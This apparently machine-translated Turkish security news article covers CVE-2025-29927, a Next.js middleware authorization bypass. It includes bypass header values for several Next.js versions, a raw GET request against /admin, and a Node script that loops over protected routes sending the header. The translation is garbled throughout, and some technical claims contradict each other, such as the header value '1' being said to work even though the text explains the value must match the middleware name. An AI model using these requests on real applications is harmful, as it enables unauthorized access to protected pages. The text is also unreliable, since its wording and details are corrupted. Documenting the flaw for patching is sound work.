Kritik Next.js Kusur Saldırganlar Boyun Yetkilendirme Kontrolleri


CVE-2025-29927 olarak izlenen bir sonraki.

Bu kusur, dahili alt pençeler ve dış trafik arasında ayrım yapmak için bu başlığa dayanan bir sonraki başlığa dayanan tüm sürümleri etkiler, korunan rotaların ve idari arayüzlerin maruz kalma riskiyle karşı karşıyadır.

Next.js, ara katman yazılımı sunucuya alt pençeleri tetiklediğinde sonsuz döngüleri önlemek için X-Middleware-Subrequest başlığını kullanır.

Middleware mantığı, güvenlik araştırmacıları tarafından yapılan bir rapora göre, özyinelemeli çağrıları tespit etmek için bu başlığı okur ve ayrıştırır.

Bununla birlikte, next.js, meşru dahili alt presentler ve kötü niyetli harici istekler arasında yeterince ayrım yapmadığından, bir saldırgan bu başlığı keyfi olarak katman yazılımı yetkilendirme kontrollerini atlamaya zorlamak için ayarlayabilir.

Güvenlik açığının teknik mekanizması

Sorunun çekirdeği sonraki kod snippet’inde ikamet ediyor.

const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
  result = {
    response: NextResponse.next(),
    waitUntil: Promise.resolve(),
  };
  continue;
}

Bu mantık, başlık değerini kolonların bir dizi dizeye ayırır. Herhangi bir öğe middlewareInfo.name ile eşleşirse, next.js isteği dahili bir alt prestiesti olarak ele alır ve hemen nextresponse.next () çağırır, kimlik doğrulama ve yetkilendirme dahil tüm alt kontrolleri etkili bir şekilde atlar.

Next.js sürümlerinde sömürü yöntemleri

  • Sürüm 12.2 ve önceki
    Middleware dosyaları, sayfa dizininin altındaki _middleware.ts olarak adlandırılır. Burada, MiddlewareInfo.name sayfa/_middleware’e eşittir. Bir saldırgan gönderebilir:
x-middleware-subrequest: pages/_middleware

ara katman yazılımının tamamen atlanmasını sağlamak.

  • Sürüm 12.2 ve sonraki
    Middleware dosyaları, bir uygulamanın veya belirli bir dizinin kökeninde Middleware.ts olarak yeniden adlandırılır. Karşılaştırma değeri sadece ara katman yazılımıdır. Ayarlayarak:
x-middleware-subrequest: middleware

Aynı baypas oluşur.

  • Sürüm 13.2.0 ve üstü
    Next.js, başlık uzunluğunu sınırlamak ve sonsuz döngüleri önlemek için max_recursion_depth tanıttı, ancak başlık tabanlı bypass geçerli kalabilir:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

İstismar senaryosu

Bir saldırgan basit bir GET isteği oluşturabilir:

GET /admin HTTP/1.1
Host: vulnerable-app.local
x-middleware-subrequest: 1

Bu, ara katman yazılımı, hassas uç noktalara yetkisiz erişim sağlayarak korunan /yönetici sayfasını atlamaya ve iade etmeye zorlar.

JWT / Çerez Kombinasyonları

Projeler genellikle JWT veya Çerez tabanlı kontrolleri katman yazılımının üstünde katır:

if (!req.cookies.auth_token && req.headers['x-middleware-subrequest'] !== '1') {
  return NextResponse.redirect('/login');
}

X-Middleware-Subrequest: 1 göndererek, saldırganlar hem ara katman yazılımı hem de jeton kontrollerini atlayarak geçerli kimlik bilgileri olmadan giriş kazanırlar.

Başlık Manipülasyon Senaryoları

Senaryo Başlık değeri Sonuç
Basit Bypass 1 Ara katman yazılımı atladı
Jwt bypass 1 + Eksik JWT Erişim verildi
Rol kontrol baypası 1 + boş kurabiye Erişim verildi

Otomatik test komut dosyası (kırmızı takım stili)

import fetch from 'node-fetch';
const routes = ['/admin', '/dashboard', '/settings'];
async function testBypass() {
  for (const route of routes) {
    const res = await fetch(`http://localhost:3000${route}`, {
      headers: { 'x-middleware-subrequest': '1' }
    });
    console.log(`${route}: ${res.status}`);
  }
}
testBypass();

Bu komut dosyası korumalı yollar aracılığıyla yinelenir ve savunmasız uç noktaları hızlı bir şekilde tanımlamak için kötü amaçlı başlığı gönderir.

Yama önerileri X-Middleware-Subrequest başlığının orijinini doğrulamayı ve başlık varlığına bakılmaksızın sunucu tarafı kontrollerinin uygulanmasını tavsiye eder.

CVE-2025-29927’nin sömürülmesini azaltmak için sürekli izleme ve acil çerçeve güncellemeleri gereklidir.

Bu haberi ilginç bul! Anında güncellemeler almak için bizi Google News, LinkedIn ve X’te takip edin!



Source link